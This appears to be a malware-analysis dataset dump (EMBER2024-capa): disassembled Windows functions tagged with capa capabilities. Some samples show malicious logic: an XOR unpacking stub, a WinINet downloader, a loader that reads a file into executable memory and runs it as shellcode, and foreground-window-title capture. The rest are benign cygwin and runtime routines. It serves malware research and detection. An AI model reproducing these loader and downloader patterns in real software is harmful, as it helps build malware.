joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x272254bc
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x26a728cd
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4015dc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x41a4ea
call fcn.00417064
mov eax, 0x10d8
call fcn.00414500
push ebx
push esi
xor eax, eax
push edi
mov word [ebp - 0x38], ax
xor ebx, ebx
push 0x1c
lea eax, [ebp - 0x38]
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], ebx
call fcn.00403578
push ebx
push ebx
push ebx
push ebx
push str.Download
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, ebx
je 0x401745
cmp dword [ebp - 0x24], 8
mov eax, dword [ebp - 0x38]
jae 0x40163a
lea eax, [ebp - 0x38]
push ebx
push 0x84000100
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, ebx
jne 0x40165f
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401745
lea eax, [ebp - 0xe4]
push eax
call fcn.00401f23
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xd8], 6
je 0x401691
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
jmp 0x40171e
lea eax, [ebp - 0x14]
push eax
mov edi, 0x1000
push edi
lea eax, [ebp - 0x10e4]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x4016d6
cmp dword [ebp - 0x14], ebx
jbe 0x4016dc
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10e4]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00401b73
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x10e4]
push eax
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x4016ab
lea ecx, [ebp - 0xe0]
call fcn.00402946
test eax, eax
jne 0x401710
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xe4]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x401709
or eax, 4
push ebx
push eax
call fcn.00401422
push dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401fff
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.00404e64
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x38]
call fcn.004028e8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4017c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:Usersinx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401847
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401870
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.00406f27
mov dword [esp + 0xc], eax
pop ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0x10], edx
call fcn.00406dce
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov eax, str._:_
push ecx
push eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
push ecx
add eax, 0x76c
push eax
mov edi, 0x422978
push edi
call fcn.0040198a
pop ecx
push eax
call fcn.004045f1
add esp, 0xc
push eax
call fcn.0040198a
pop ecx
push eax
call fcn.004045f1
add esp, 0xc
push eax
call fcn.0040198a
push dword [esi]
mov eax, 0x41e1f0
push ecx
push eax
push ecx
push dword [esi + 4]
push ecx
push eax
push ecx
push dword [esi + 8]
push ecx
push 0x41e1f4
push edi
call fcn.004045f1
add esp, 0xc
push eax
call fcn.0040198a
pop ecx
push eax
call fcn.004045f1
add esp, 0xc
push eax
call fcn.0040198a
pop ecx
push eax
call fcn.004045f1
add esp, 0xc
push eax
call fcn.0040198a
push eax
call fcn.00401570
pop ecx
call fcn.004015dc
call fcn.0040177a
call fcn.004017c4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4020ae
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a30e
call fcn.00417064
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4020cb
xor eax, eax
jmp 0x4020f3
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x402103
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x402103
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x402123
mov ecx, esi
call fcn.00402b06
cmp dword [esi + 0x44], edi
jne 0x402128
push dword [esi + 0x54]
push ebx
call fcn.004015a6
pop ecx
pop ecx
test al, al
jne 0x4020f0
or eax, 0xffffffff
jmp 0x4020f2
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00403369
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4021db
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x4021f9
cmp eax, 1
jg 0x4021e3
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40218f
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x4021b5
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4021a2
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406a83
add esp, 0x10
cmp edi, eax
jne 0x4021f9
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x40220f
test edi, edi
jne 0x402147
cmp dword [ebp - 0x24], 0x20
jae 0x4021f9
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00402716
jmp 0x402147
mov edx, dword [ebp - 0x34]
jmp 0x402159
cmp eax, 3
jne 0x4021f9
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.004015a6
pop ecx
pop ecx
test al, al
jne 0x40220f
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.0040280d
mov eax, esi
jmp 0x4020f2
mov esi, dword [ebp + 8]
jmp 0x4021fc
Function at 0x4029d9
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a366
call fcn.00417064
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402ace
cmp byte [esi + 0x49], bl
je 0x402ace
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402a11
xor al, al
jmp 0x402ad0
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00403369
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402a71
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x402a76
dec eax
je 0x402a7a
dec eax
dec eax
je 0x402aca
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040280d
mov al, bl
pop edi
jmp 0x402ad0
mov edx, dword [ebp - 0x2c]
jmp 0x402a3b
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402a86
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402aac
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402a99
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406a83
add esp, 0x10
cmp edi, eax
jne 0x402a5e
cmp byte [esi + 0x49], 0
je 0x402aca
test edi, edi
jne 0x402a2d
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402716
jmp 0x402a2d
mov bl, 1
jmp 0x402a60
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x407e71
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42165c]
jne 0x407e7b
repz ret
jmp fcn.0040e65c
Function at 0x414b44
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42165c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c648
and dword [ebp - 0x14], 0
cmp dword [0x4239bc], 0
mov dword [ebp - 0x18], eax
jne 0x414bf7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414c9f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414c9f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4239bc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4239c0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4239c4], eax
call edi
push eax
call esi
mov dword [0x4239cc], eax
test eax, eax
je 0x414bf7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4239c8], eax
mov eax, dword [0x4239c8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414c50
cmp dword [0x4239cc], ecx
je 0x414c50
push eax
call esi
push dword [0x4239cc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414c50
test ebx, ebx
je 0x414c50
call edi
test eax, eax
je 0x414c47
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414c47
test byte [ebp - 8], 1
jne 0x414c50
or dword [ebp + 0x10], 0x200000
jmp 0x414c83
mov eax, dword [0x4239c0]
cmp eax, dword [ebp - 0x18]
je 0x414c83
push eax
call esi
test eax, eax
je 0x414c83
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414c83
mov eax, dword [0x4239c4]
cmp eax, dword [ebp - 0x18]
je 0x414c83
push eax
call esi
test eax, eax
je 0x414c83
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4239bc]
call esi
test eax, eax
je 0x414c9f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414ca1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407e71
leave
ret
Function at 0x401220
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ebx
mov ebx, eax
lea eax, [ebp - 0x10]
mov dword [ebp - 4], edi
mov edi, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 8], esi
mov dword [esp + 8], 0xa
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.cygwin1.dll_strtol
mov edx, dword [ebp - 0x10]
cmp edx, ebx
je 0x4012c0
cmp byte [edx], 0
jne 0x4012c0
cmp eax, edi
jl 0x401310
mov ebx, dword [ebp + 8]
test ebx, ebx
js 0x4012b1
cmp eax, dword [ebp + 8]
jle 0x4012b1
mov esi, dword [0x40c1d8]
mov dword [esp], str._s:_value_for___c_option_should_be____ld_n
call sub.cygintl_8.dll_libintl_gettext
mov ebx, eax
call sub.cygwin1.dll___getreent
mov edx, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 0xc], edx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
test ecx, ecx
jne 0x4012f3
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov esi, dword [0x40c1d8]
mov dword [esp], str._s:_invalid_number_for___c_option_n
call sub.cygintl_8.dll_libintl_gettext
mov ebx, eax
call sub.cygwin1.dll___getreent
mov edx, dword [ebp - 0x20]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
call fcn.004011c0
mov dword [esp], 1
call sub.cygwin1.dll_exit
lea esi, [esi]
mov esi, dword [0x40c1d8]
mov dword [esp], 0x409348
call sub.cygintl_8.dll_libintl_gettext
mov ebx, eax
call sub.cygwin1.dll___getreent
mov edx, dword [ebp - 0x20]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edi
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
mov esi, dword [ebp + 0xc]
mov eax, edi
test esi, esi
je 0x4012b1
jmp 0x4012f3
Function at 0x402880
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
sub esp, 0x1c
cmp dword [0x40c148], 1
jle 0x4028c9
xor esi, esi
mov eax, dword [0x40c14c]
mov ebx, dword [eax + esi*4]
add esi, 1
call sub.cygwin1.dll___getreent
mov dword [esp + 4], 0x409c6a
mov dword [esp + 8], ebx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
mov eax, dword [0x40c148]
sub eax, 1
cmp eax, esi
jg 0x402896
mov eax, edi
test al, al
je 0x402960
mov eax, dword [0x40c0c8]
test eax, eax
je 0x402984
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], str._...
mov dword [esp + 0xc], eax
call sub.cygwin1.dll_fwrite
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fflush
mov eax, dword [0x40c0c8]
mov dword [esp], eax
call sub.cygwin1.dll_getc
cmp eax, 0xffffffff
mov ebx, eax
je 0x402948
cmp eax, 0xa
je 0x402948
mov eax, dword [0x40c0c8]
mov dword [esp], eax
call sub.cygwin1.dll_getc
cmp eax, 0xffffffff
je 0x402948
cmp eax, 0xa
jne 0x402931
cmp ebx, 0x79
sete dl
cmp ebx, 0x59
sete al
add esp, 0x1c
or edx, eax
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp], 0xa
mov dword [esp + 4], eax
call sub.cygwin1.dll_putc
xor edx, edx
add esp, 0x1c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 0x4096af
mov dword [esp], str._dev_tty
call sub.cygwin1.dll__fopen64
test eax, eax
mov dword [0x40c0c8], eax
jne 0x4028e0
mov dword [esp], str.failed_to_open__dev_tty_for_reading
call sub.cygintl_8.dll_libintl_gettext
mov ebx, eax
call sub.cygwin1.dll___errno
mov dword [esp + 8], ebx
mov eax, dword [eax]
mov dword [esp], 1
mov dword [esp + 4], eax
call fcn.004050f0
jmp 0x4028e0

Function at 0x403080
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x30
mov dword [esp], eax
call sub.cygwin1.dll_getenv
mov edx, eax
xor eax, eax
test edx, edx
je 0x4030ce
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0xa
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004068f0
test eax, eax
jne 0x4030d5
xor eax, eax
cmp dword [ebp - 0x10], ebx
setb al
add esp, 0x30
pop ebx
pop esi
pop ebp
ret
mov dword [esp], str.Environment_variable__s_is_not_set_to_a_valid_decimal_number
call sub.cygintl_8.dll_libintl_gettext
mov ebx, eax
call sub.cygwin1.dll___errno
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov eax, dword [eax]
mov dword [esp], 1
mov dword [esp + 4], eax
call fcn.004050f0
add esp, 0x30
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x403a20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
test ebx, ebx
je 0x403aa9
mov dword [esp + 4], 0x2f
mov dword [esp], ebx
call sub.cygwin1.dll_strrchr
test eax, eax
mov dword [ebp - 0x14], eax
je 0x403a5a
add eax, 1
mov dword [ebp - 0x10], eax
sub eax, ebx
cmp eax, 6
jg 0x403a70
mov dword [0x40c1d8], ebx
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov edi, str._.libs_
mov ecx, 7
sub eax, 6
mov esi, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403a5a
mov esi, dword [ebp - 0x10]
mov edi, 0x40a2bc
mov ecx, 3
mov ebx, dword [ebp - 0x14]
repe cmpsb byte [esi], byte es:[edi]
seta dl
setb al
add ebx, 4
cmp dl, al
cmovne ebx, dword [ebp - 0x10]
jmp 0x403a5a
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp + 8], 0x37
mov dword [esp + 4], 1
mov dword [esp], str.A_NULL_argv_0__was_passed_through_an_exec_system_call._n
mov dword [esp + 0xc], eax
call sub.cygwin1.dll_fwrite
call sub.cygwin1.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp edx, 0xaaaaaaa9
ja 0x403bdd
lea eax, [edx + 1]
shr eax, 1
add edx, eax
call fcn.00403ae0
lea esi, [esi]
lea edi, [edi]
Function at 0x404f50
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, eax
call sub.cygwin1.dll___getreent
mov edx, dword [ebp + 8]
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_vfprintf
add dword [0x40c874], 1
test esi, esi
jne 0x404fc4
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp], 0xa
mov dword [esp + 4], eax
call sub.cygwin1.dll_putc
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fflush
test edi, edi
jne 0x404fcd
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, esi
call fcn.00404ef0
jmp 0x404f8b
mov dword [esp], edi
call sub.cygwin1.dll_exit
lea esi, [esi]
lea edi, [edi]
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x40c878]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
test eax, eax
je 0x405010
cmp dword [0x40c310], edi
je 0x4050a0
mov dword [0x40c320], esi
mov dword [0x40c310], edi
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.cygwin1.dll_fileno
test eax, eax
js 0x405048
mov dword [esp + 4], 3
mov dword [esp], eax
call sub.cygwin1.dll__fcntl64
test eax, eax
js 0x405048
call sub.cygwin1.dll___getreent
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.cygwin1.dll_fflush
mov eax, dword [0x40c870]
test eax, eax
je 0x4050c0
call eax
test esi, esi
mov eax, str._s:_d:
mov ebx, 0x40a65e
cmovne ebx, eax
call sub.cygwin1.dll___getreent
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
lea eax, [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov dword [esp], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
call fcn.00404f50
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x40c320]
cmp esi, eax
je 0x405092
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.cygwin1.dll_strcmp
test eax, eax
jne 0x405004
jmp 0x405092
mov ebx, dword [0x40c1d8]
call sub.cygwin1.dll___getreent
mov dword [esp + 4], 0x40a65a
mov dword [esp + 8], ebx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
jmp 0x405053
Function at 0x430440
Capabilities:
Terminate process

Disassembly:
push esi
sub esp, 0x10
mov eax, dword [esp + 0x18]
mov ecx, 1
mov dword [esp + 0xc], eax
mov eax, dword [0x4a74f4]
sar eax, 3
imul eax, eax, 0xb38c3e45
xor eax, 0xb23bb7a6
mov dword [0x4a9b48], eax
mov eax, dword [0x4ada7c]
mov edx, esp
mov dword [edx], eax
mov dword [esp + 8], ecx
call fcn.004177d0
mov si, word [0x4908ee]
mov cx, si
and ecx, 0x47ce
mov si, cx
mov word [0x4908ee], si
mov dword [esp], 1
mov byte [esp + 7], al
call fcn.00454eb6
int3
Function at 0x442a70
Capabilities:
Hash data with md5

Disassembly:
push ebx
push edi
push esi
sub esp, 8
mov eax, 0x2623305c
mov dword [esp + 4], ecx
mov edx, ecx
mov esi, dword [0x499950]
xor esi, 0xa11c8405
mov dword [0x499950], esi
mov dword [ecx], 0
mov esi, dword [0x4abecc]
xor esi, 0x5bf9
mov di, word [0x496e54]
mov bx, di
sub ebx, esi
mov di, bx
mov word [0x496e54], di
mov dword [ecx + 4], 0
mov esi, dword [0x4a82fc]
add esi, 0xb8b2296b
mov dword [0x4a82fc], esi
mov dword [ecx + 8], 0x67452301
mov esi, dword [0x49f9e8]
add esi, 0xef610a3b
mov dword [0x49f9e8], esi
mov dword [ecx + 0xc], 0xefcdab89
mov ecx, dword [0x49cf58]
xor ecx, 0x7e318024
cmp eax, ecx
mov dword [esp], edx
jne 0x442b1a
mov dword [0x4a6178], 0x8dcdfa80
jmp 0x442b24
mov dword [0x4a5328], 0xcf5fafa9
mov eax, dword [esp]
mov dword [eax + 0x10], 0x98badcfe
mov ecx, dword [0x4a6288]
add ecx, 0x3f867de8
mov dword [0x4a6288], ecx
mov dword [eax + 0x14], 0x10325476
mov ecx, dword [0x49fa38]
dec ecx
mov dword [0x49fa38], ecx
mov edx, dword [0x49d198]
mov esi, edx
inc esi
mov dword [0x49d198], esi
or ecx, edx
mov edx, dword [0x4a6fd0]
xor edx, ecx
mov dword [0x4a6fd0], edx
add esp, 8
pop esi
pop edi
pop ebx
ret